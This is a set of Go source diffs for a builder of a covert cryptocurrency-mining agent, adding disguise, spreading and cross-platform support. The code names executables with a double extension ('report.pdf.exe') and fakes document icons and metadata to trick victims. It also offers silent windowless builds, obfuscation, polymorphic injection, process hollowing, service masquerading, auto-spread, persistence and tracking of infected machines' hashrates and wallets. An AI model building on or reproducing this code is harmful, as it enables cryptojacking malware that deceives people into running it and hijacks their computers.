if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
return "", err
}
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
return "", err
}
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
return "", err
}
if err := writeFusionManifest(assetsDir, "exe", "", ""); err != nil {
return "", err
}
if outputName == "" {
outputName = filepath.Base(prepPath)
}
if outputName == "" {
outputName = "prep.exe"
}
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
outputName += ".exe"
}
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
ldflags := fusionLdflags(prepPath)
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
return "", err
}
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
return "", err
}
return outputPath, nil
}
// prepareFusionProject copies the fusion source into a temp build dir with baked constants.
func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) {
fusionSrc := filepath.Join(h.projectRoot, "fusion")
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
@@ -205,7 +178,8 @@ func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMod
for _, name := range []string{
"go.mod", "launch_windows.go", "launch_stub.go",
"media_windows.go", "media_stub.go", "media_crypto.go",
"media_windows.go", "media_linux.go", "media_darwin.go",
"media_crypto.go", "cache_windows.go", "cache_unix.go",
"lock_hint_windows.go", "lock_hint_stub.go",
} {
src := filepath.Join(fusionSrc, name)
@@ -225,8 +199,8 @@ func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName
repl := map[string]string{
`const runOrder = "FUSION_RUN_ORDER"`: fmt.Sprintf(`const runOrder = %q`, order),
`const payloadKind = "FUSION_PAYLOAD_KIND"`: fmt.Sprintf(`const payloadKind = %q`, payloadKind),
`const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode),
`const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
`const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode),
`const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
}
for old, new := range repl {
out = strings.Replace(out, old, new, 1)
@@ -259,26 +233,38 @@ func normalizeFusionMediaMode(mode string) string {
}
}
func disguiseVideoExeName(mediaName string) string {
base := strings.TrimSuffix(mediaName, filepath.Ext(mediaName))
if base == "" {
base = "movie"
}
ext := filepath.Ext(mediaName)
if ext == "" {
ext = ".mkv"
}
return sanitizeFileName(base + ext + ".exe")
}
func runnerNameForMedia(mediaName string) string {
// runnerNameForFile generates the output runner binary name for a given payload filename.
//
// On Windows, non-exe payloads use the double-extension trick:
//
// "quarterly-report.pdf" → "quarterly-report.pdf.exe"
//
// When Windows hides known file extensions (the OS default), the user sees
// "quarterly-report.pdf" with the injected PDF icon — visually identical to the
// real document. After applyDocumentDisguise runs, the PE metadata also matches.
//
// On Linux/macOS the runner uses a simple "-runner" suffix (these platforms
// wrap the binary in a .app bundle or the user is expected to chmod+x it).
func runnerNameForFile(mediaName string, platform BuildPlatform) string {
ext := strings.ToLower(filepath.Ext(mediaName))
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
if base == "" {
base = "movie"
base = "runner"
}
return sanitizeFileName(base + "-runner.exe")
if platform.GOOS == "windows" {
// Use disguisedRunnerName which handles double-extension and sanitisation
return disguisedRunnerName(mediaName)
}
// Linux / macOS: simple "-runner" name, no double extension
name := sanitizeFileName(base + "-runner")
_ = ext // extension not needed for Unix names
if platform.Ext != "" {
return name + platform.Ext
}
return name
}
// fusionExportSubdir returns the output subfolder name for the deliverable.
func fusionExportSubdir(req *BuildRequest, mediaName string) string {
if s := strings.TrimSpace(req.FusionExportSubdir); s != "" {
return sanitizeDirName(s)

View File

@@ -56,12 +56,37 @@ func TestSaveUploadedFusionPayloadCreatesPrepsDir(t *testing.T) {
}
}
func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
// Fusion now accepts any file with an extension (.txt, .pdf, .mp4, .docx, etc.)
// Only files with no extension at all are rejected.
func TestSaveUploadedFusionPayloadAcceptsAnyExtension(t *testing.T) {
for _, fname := range []string{"report.pdf", "clip.mp4", "doc.docx", "data.txt", "archive.zip"} {
h := &Handler{dataDir: t.TempDir()}
body := &bytes.Buffer{}
w := multipart.NewWriter(body)
partHeader := make(textproto.MIMEHeader)
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="`+fname+`"`)
part, _ := w.CreatePart(partHeader)
_, _ = part.Write([]byte("x"))
w.Close()
r := multipart.NewReader(body, w.Boundary())
form, _ := r.ReadForm(10 << 20)
f, _ := form.File["prep_exe"][0].Open()
_, cleanup, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
f.Close()
if err != nil {
t.Errorf("expected %s to be accepted, got error: %v", fname, err)
} else {
cleanup()
}
}
}
func TestSaveUploadedFusionPayloadRejectsNoExtension(t *testing.T) {
h := &Handler{dataDir: t.TempDir()}
body := &bytes.Buffer{}
w := multipart.NewWriter(body)
partHeader := make(textproto.MIMEHeader)
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="bad.txt"`)
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="noextension"`)
part, _ := w.CreatePart(partHeader)
_, _ = part.Write([]byte("x"))
w.Close()
@@ -71,6 +96,6 @@ func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
defer f.Close()
_, _, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
if err == nil {
t.Fatal("expected error for .txt upload")
t.Fatal("expected error for file with no extension")
}
}

View File

@@ -70,6 +70,11 @@ type BuildRequest struct {
ProcessHollowing bool `json:"process_hollowing"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
TargetOS string `json:"target_os"`
TargetArch string `json:"target_arch"`
SpreadKit bool `json:"spread_kit"`
Obfuscate bool `json:"obfuscate"`
SignBuild bool `json:"sign_build"`
}
@@ -217,14 +222,11 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return
}
if req.FusionEnabled && prepPath == "" {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no prep.exe uploaded"})
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no payload file uploaded"})
return
}
if req.FusionEnabled && req.FusionOutputName == "" {
req.FusionOutputName = "prep.exe"
}
// FusionOutputName will be derived from the payload filename if not set
resp, status, outputPath := h.buildAgent(&req, prepPath)
if !resp.Success {
writeJSON(w, status, resp)
@@ -381,6 +383,10 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
}
func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
return h.buildUniversalAgent(req, prepPath)
}
buildID := uuid.New().String()
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
agentDir := filepath.Join(buildDir, "agent")
@@ -398,34 +404,16 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
if err := os.MkdirAll(configDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
}
if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, ""
}
workerName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
if req.FusionEnabled {
workerName = fmt.Sprintf("worker-%s.exe", sanitizeFileName(req.WorkerName))
}
outputPath, _ := filepath.Abs(filepath.Join(buildDir, workerName))
ldflags := "-s -w"
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled {
ldflags += " -H windowsgui"
}
extra, err := injectPolymorph(agentDir, buildID)
platforms := platformsForRequest(req)
p := platforms[0]
outputPath, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
if err != nil {
log.Printf("[Forge] polymorph inject: %v", err)
} else {
ldflags += extra
}
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
log.Printf("Build failed: %v", err)
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
obfuscated := h.shouldObfuscate(req) && h.garblePath != "" && p.GOOS == "windows"
workerName := filepath.Base(outputPath)
finalPath := outputPath
finalName := workerName
var fusionEnabled bool
@@ -473,13 +461,16 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
if exportLabel == "" {
exportLabel = filepath.Base(prepPath)
}
if req.FusionPayloadKind != "video" {
exportLabel = strings.TrimSuffix(finalName, filepath.Ext(finalName))
}
arts := map[string]string{finalName: finalPath}
for _, ex := range extraArtifacts {
arts[ex.FileName] = ex.FilePath
}
// In paired mode the runner looks for the payload file next to (or above) the binary.
// Include it in the deliverable so the ZIP is self-contained without needing the
// user to place the file themselves.
if normalizeFusionMediaMode(req.FusionMediaMode) == "paired" && prepPath != "" {
arts[sanitizeFileName(filepath.Base(prepPath))] = prepPath
}
subdir := fusionExportSubdir(req, exportLabel)
readme := fusionReadmeInfo{
Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
@@ -567,6 +558,12 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
relPath = filepath.Join(h.dataDir, "builds", buildID, finalName)
}
// Normalise platform tag for easy lookup by /get endpoint
recordPlatform := strings.ToLower(strings.TrimSpace(req.TargetOS))
if recordPlatform == "" {
recordPlatform = "windows"
}
buildRecord := &models.BuildRecord{
ID: buildID,
WorkerName: req.WorkerName,
@@ -574,7 +571,9 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
Wallet: req.Wallet,
Threads: req.Threads,
FileSize: fileInfo.Size(),
BundleSize: bundleSize,
FilePath: absPath,
Platform: recordPlatform,
CreatedAt: time.Now(),
PoolHost: req.PoolHost,
PoolPort: req.PoolPort,
@@ -789,6 +788,18 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
req.AIModel = "llama3.2"
}
}
if strings.TrimSpace(req.TargetOS) == "" {
req.TargetOS = "windows"
}
if req.SpreadKit {
req.FusionEnabled = false
req.TargetOS = "universal"
if req.RunAs == "" || req.RunAs == "user" {
req.RunAs = "scheduled"
}
req.Persistence = true
req.AutoStart = true
}
return nil
}
@@ -807,7 +818,7 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
return "", nil, fmt.Errorf("fusion upload filename is invalid")
}
if !isFusionPayloadExt(baseName) {
return "", nil, fmt.Errorf("fusion upload must be .exe, .mp4, .mkv, or .mov")
return "", nil, fmt.Errorf("fusion upload has no recognisable file extension")
}
prepRoot := filepath.Join(h.dataDir, "preps")
@@ -842,13 +853,11 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
return dest, cleanup, nil
}
// isFusionPayloadExt accepts any file with a non-empty extension.
// Fusion now supports any file type — PDF, video, document, image, executable, etc.
func isFusionPayloadExt(name string) bool {
switch strings.ToLower(filepath.Ext(name)) {
case ".exe", ".mp4", ".mkv", ".mov":
return true
default:
return false
}
ext := strings.ToLower(filepath.Ext(name))
return ext != "" && ext != "."
}
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
@@ -864,7 +873,6 @@ func GetBuiltinConfig() BuiltinConfig {
return BuiltinConfig{
WorkerName: %q,
ServerURL: %q,
BackupServerURLs: %s,
Wallet: %q,
Threads: %d,
ThreadMode: %q,
@@ -903,6 +911,9 @@ func GetBuiltinConfig() BuiltinConfig {
ProcessHollowing: %v,
MeshP2P: %v,
AutoSpread: %v,
HolePunch: %v,
RemoteAggressive: %v,
BackupServerURLs: %s,
ServiceMasquerade: %v,
ServiceName: %q,
ServiceDonor: %q,
@@ -911,7 +922,6 @@ func GetBuiltinConfig() BuiltinConfig {
`, buildID, time.Now().UTC().Format(time.RFC3339),
req.WorkerName,
req.ServerURL,
formatGoStringSlice(req.BackupServerURLs),
req.Wallet,
req.Threads,
req.ThreadMode,
@@ -950,6 +960,9 @@ func GetBuiltinConfig() BuiltinConfig {
req.ProcessHollowing,
req.MeshP2P,
req.AutoSpread,
req.HolePunch,
req.RemoteAggressive,
formatGoStringSlice(req.BackupServerURLs),
serviceMasqueradeEnabled(req),
serviceMasqueradeName(buildID, req),
serviceMasqueradeDonor(buildID, req),

View File

@@ -0,0 +1,75 @@
package builder
import "strings"
// BuildPlatform identifies a GOOS/GOARCH compile target.
type BuildPlatform struct {
GOOS string
GOARCH string
Ext string
}
func (p BuildPlatform) Label() string {
return p.GOOS + "-" + p.GOARCH
}
func (p BuildPlatform) BinDir() string {
return "bin/" + p.Label()
}
var defaultPlatforms = []BuildPlatform{
{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"},
{GOOS: "linux", GOARCH: "amd64", Ext: ""},
{GOOS: "linux", GOARCH: "arm64", Ext: ""},
{GOOS: "darwin", GOARCH: "arm64", Ext: ""},
{GOOS: "darwin", GOARCH: "amd64", Ext: ""},
}
func platformsForRequest(req *BuildRequest) []BuildPlatform {
target := strings.ToLower(strings.TrimSpace(req.TargetOS))
if target == "" || target == "windows" {
return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}
}
if target == "linux" {
arch := req.TargetArch
if arch == "" {
arch = "amd64"
}
return []BuildPlatform{{GOOS: "linux", GOARCH: arch, Ext: ""}}
}
if target == "darwin" {
arch := req.TargetArch
if arch == "" {
arch = "arm64"
}
return []BuildPlatform{{GOOS: "darwin", GOARCH: arch, Ext: ""}}
}
if target == "universal" {
if req.TargetArch != "" && req.TargetArch != "all" {
for _, p := range defaultPlatforms {
if p.GOARCH == req.TargetArch {
return []BuildPlatform{p}
}
}
}
return append([]BuildPlatform{}, defaultPlatforms...)
}
return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}
}
func workerFileName(worker string, p BuildPlatform, fusion bool) string {
base := sanitizeFileName(worker)
if fusion {
return "worker-" + base + p.Ext
}
return "install-" + base + p.Ext
}
func ldflagsFor(req *BuildRequest, p BuildPlatform) string {
ldflags := "-s -w"
gui := req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled
if p.GOOS == "windows" && gui {
ldflags += " -H windowsgui"
}
return ldflags
}

View File

@@ -0,0 +1,77 @@
package builder
import (
"go/parser"
"go/token"
"strings"
"testing"
)
func TestPlatformsForRequestWindowsDefault(t *testing.T) {
req := &BuildRequest{TargetOS: ""}
ps := platformsForRequest(req)
if len(ps) != 1 || ps[0].GOOS != "windows" {
t.Fatalf("expected single windows platform, got %+v", ps)
}
}
func TestPlatformsForRequestLinux(t *testing.T) {
req := &BuildRequest{TargetOS: "linux", TargetArch: "arm64"}
ps := platformsForRequest(req)
if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" {
t.Fatalf("expected linux/arm64, got %+v", ps)
}
}
func TestPlatformsForRequestUniversal(t *testing.T) {
req := &BuildRequest{TargetOS: "universal"}
ps := platformsForRequest(req)
if len(ps) != len(defaultPlatforms) {
t.Fatalf("expected %d platforms, got %d", len(defaultPlatforms), len(ps))
}
if len(ps) < 5 {
t.Fatalf("expected at least 5 universal platforms including linux-arm64, got %d", len(ps))
}
}
// TestGenerateBuiltinConfigValid checks that the generated Go source for builtin.go
// is syntactically valid, catching any mismatch between the template and BuiltinConfig.
func TestGenerateBuiltinConfigValid(t *testing.T) {
h := &Handler{}
req := &BuildRequest{
WorkerName: "test",
ServerURL: "http://127.0.0.1:8989",
Wallet: "4TEST",
Threads: 4,
ThreadMode: "percent",
ThreadPercent: 75,
PoolHost: "pool.supportxmr.com",
PoolPort: 3333,
PoolPass: "x",
RunAs: "scheduled",
InstallBase: "localappdata",
}
src := h.generateBuiltinConfig("test-build-id", req)
fset := token.NewFileSet()
if _, err := parser.ParseFile(fset, "builtin.go", src, 0); err != nil {
t.Fatalf("generateBuiltinConfig produced invalid Go source: %v\n\n%s", err, src)
}
if !strings.Contains(src, "ServiceMasquerade") {
t.Error("expected ServiceMasquerade field in generated config")
}
if !strings.Contains(src, "BackupServerURLs") {
t.Error("expected BackupServerURLs field in generated config")
}
}
func TestLdflagsForWindowsGUI(t *testing.T) {
req := &BuildRequest{StealthMode: true}
ld := ldflagsFor(req, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
if !strings.Contains(ld, "windowsgui") {
t.Fatalf("expected windowsgui in ldflags, got %q", ld)
}
ldLinux := ldflagsFor(req, BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""})
if strings.Contains(ldLinux, "windowsgui") {
t.Fatalf("linux ldflags must not include windowsgui: %q", ldLinux)
}
}

View File

@@ -38,7 +38,7 @@ func (d *Database) scanAgent(row interface {
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
&notes, &tagsRaw,
&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion,
)
if err != nil {
return nil, err
@@ -50,7 +50,7 @@ func (d *Database) scanAgent(row interface {
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags`
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version`
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)

View File

@@ -111,8 +111,13 @@ func (d *Database) migrate() error {
// Best-effort schema upgrades for existing databases.
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN arch TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
return nil
}
@@ -120,8 +125,8 @@ func (d *Database) migrate() error {
// Agent operations
func (d *Database) UpsertAgent(a *models.Agent) error {
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP))
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
name = excluded.name,
wallet = excluded.wallet,
@@ -130,8 +135,11 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
status = excluded.status,
cpu_cores = excluded.cpu_cores,
memory_gb = excluded.memory_gb,
last_seen = excluded.last_seen`
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID)
last_seen = excluded.last_seen,
platform = excluded.platform,
arch = excluded.arch,
os_version = excluded.os_version`
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion)
return err
}
@@ -241,17 +249,41 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
// Build operations
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, platform, created_at, pool_host, pool_port, pool_tls, pool_pass`
func scanBuild(row interface {
Scan(...any) error
}) (*models.BuildRecord, error) {
b := &models.BuildRecord{}
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
&b.FilePath, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
return b, err
}
func (d *Database) InsertBuild(b *models.BuildRecord) error {
_, err := d.Exec("INSERT INTO builds (id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.FilePath, b.CreatedAt,
_, err := d.Exec(`INSERT INTO builds
(id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, platform, created_at, pool_host, pool_port, pool_tls, pool_pass)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.BundleSize,
b.FilePath, b.Platform, b.CreatedAt,
b.PoolHost, b.PoolPort, b.PoolTLS, b.PoolPass)
return err
}
func (d *Database) GetBuild(id string) (*models.BuildRecord, error) {
b := &models.BuildRecord{}
err := d.QueryRow(`SELECT id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass FROM builds WHERE id = ?`, id).
Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.FilePath, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
return scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE id = ?`, id))
}
func (d *Database) GetLatestBuildForPlatform(platform string) (*models.BuildRecord, error) {
var query string
var args []any
if platform == "" || platform == "any" {
query = `SELECT ` + buildSelectCols + ` FROM builds ORDER BY created_at DESC LIMIT 1`
} else {
query = `SELECT ` + buildSelectCols + ` FROM builds WHERE platform = ? ORDER BY created_at DESC LIMIT 1`
args = []any{platform}
}
b, err := scanBuild(d.QueryRow(query, args...))
if err != nil {
return nil, err
}
@@ -259,8 +291,7 @@ func (d *Database) GetBuild(id string) (*models.BuildRecord, error) {
}
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
query := `SELECT id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass FROM builds ORDER BY created_at DESC LIMIT ?`
rows, err := d.Query(query, limit)
rows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, limit)
if err != nil {
return nil, err
}
@@ -268,9 +299,8 @@ func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
var builds []*models.BuildRecord
for rows.Next() {
b := &models.BuildRecord{}
if err := rows.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.FilePath, &b.CreatedAt,
&b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass); err != nil {
b, err := scanBuild(rows)
if err != nil {
return nil, err
}
builds = append(builds, b)

View File

@@ -27,6 +27,22 @@ type Agent struct {
Notes string `json:"notes"`
Tags []string `json:"tags"`
Platform string `json:"platform,omitempty"`
Arch string `json:"arch,omitempty"`
OSVersion string `json:"os_version,omitempty"`
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
}
// AgentCapabilities reports forge-time features available for remote command.
type AgentCapabilities struct {
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
ProcessHollowing bool `json:"process_hollowing"`
AIEnabled bool `json:"ai_enabled"`
}
type Share struct {
@@ -65,7 +81,9 @@ type BuildRecord struct {
Wallet string `json:"wallet"`
Threads int `json:"threads"`
FileSize int64 `json:"file_size"`
BundleSize int64 `json:"bundle_size"`
FilePath string `json:"file_path"`
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
CreatedAt time.Time `json:"created_at"`
// Pool settings
PoolHost string `json:"pool_host"`

View File

@@ -498,12 +498,16 @@ func (p *Proxy) parseAndSetJob(data json.RawMessage) {
}
func (p *Proxy) subscribe() {
p.mu.Lock()
p.requestID++
subID := p.requestID
p.mu.Unlock()
subParams := []string{}
paramsData, _ := json.Marshal(subParams)
subReq := StratumRequest{
ID: p.requestID,
ID: subID,
Method: "subscribe",
Params: paramsData,
}
@@ -542,8 +546,11 @@ func (p *Proxy) submitShareToPool(share *PendingShare) {
return
}
// Increment and read requestID under the write lock to avoid data race (H17)
p.mu.Lock()
p.requestID++
reqID := p.requestID
p.mu.Unlock()
wallet := share.Wallet
if wallet == "" {